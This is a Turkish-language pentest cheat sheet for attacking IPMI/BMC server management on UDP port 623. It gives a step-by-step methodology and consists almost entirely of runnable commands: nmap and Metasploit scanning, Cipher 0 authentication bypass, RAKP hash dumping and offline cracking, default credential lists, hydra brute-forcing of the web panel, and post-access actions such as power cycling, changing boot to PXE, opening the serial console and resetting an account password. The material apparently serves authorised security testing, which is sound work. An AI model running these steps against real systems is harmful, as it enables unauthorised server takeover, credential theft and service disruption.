623/UDP - IPMI

network ipmi

IPMI (UDP/623) sunucu BMC out-of-band yönetimidir. Ağdan erişilebilen BMC, Cipher 0 ve zayıf hash ile sıkça credential veya güç kontrolü verir.

Metodoloji

1. UDP/623 ve varsa HTTP/HTTPS BMC arayüzünü doğrula.

2. Cipher 0 ve anonymous/null auth dene.

3. RAKP hash dump alıp offline kır.

4. Geçerli kimlikle power/boot/SOL ve pivot kanıtı üret.

Keşif

nmap -Pn -sU -p623 -sV --script ipmi-version,ipmi-cipher-zero TARGET

nmap -Pn -p80,443,623,5900,5120 -sV TARGET

msfconsole -q -x "use auxiliary/scanner/ipmi/ipmi_version; set RHOSTS TARGET; run; exit"

Cipher 0

msfconsole -q -x "use auxiliary/scanner/ipmi/ipmi_cipher_zero; set RHOSTS TARGET; run; exit"

ipmitool -I lanplus -C 0 -H TARGET -U ADMIN -P ADMIN chassis status

Cipher 0 = auth bypass benzeri zayıf kanal (birçok eski BMC)

Hash dump (RAKP)

msfconsole -q -x "use auxiliary/scanner/ipmi/ipmi_dumphashes; set RHOSTS TARGET; run; exit"

hashcat -m 7300 ipmi.hashes rockyou.txt

john --format=rakp ipmi.hashes --wordlist=rockyou.txt

Varsayılan kimlikler

ADMIN:ADMIN
admin:admin
root:root
root:calvin
ADMIN:(boş)

ipmitool -I lanplus -H TARGET -U ADMIN -P ADMIN user list

ipmitool -I lanplus -H TARGET -U ADMIN -P ADMIN chassis status

ipmitool -I lanplus -H TARGET -U ADMIN -P ADMIN power status

SOL / konsol

ipmitool -I lanplus -H TARGET -U ADMIN -P ADMIN sol activate

ipmitool -I lanplus -H TARGET -U ADMIN -P ADMIN chassis bootdev pxe

ipmitool -I lanplus -H TARGET -U ADMIN -P ADMIN power cycle

HTTP BMC paneli

curl -skI https://TARGET/

hydra -L users.txt -P rockyou.txt https-get://TARGET/

nuclei -u https://TARGET -tags iom,bmc,ipmi

Post-erişim

- Host power off/on
- Boot media değiştirme
- SOL ile OS öncesi erişim
- BMC credential → fleet-wide reuse

ipmitool -I lanplus -H TARGET -U ADMIN -P ADMIN user set password 2 'NewP@ss'

Checklist

[ ] UDP/623 fingerprint
[ ] Cipher 0 denendi
[ ] RAKP hash dump + crack
[ ] Default creds / geçerli oturum
[ ] SOL veya power etkisi kanıtlandı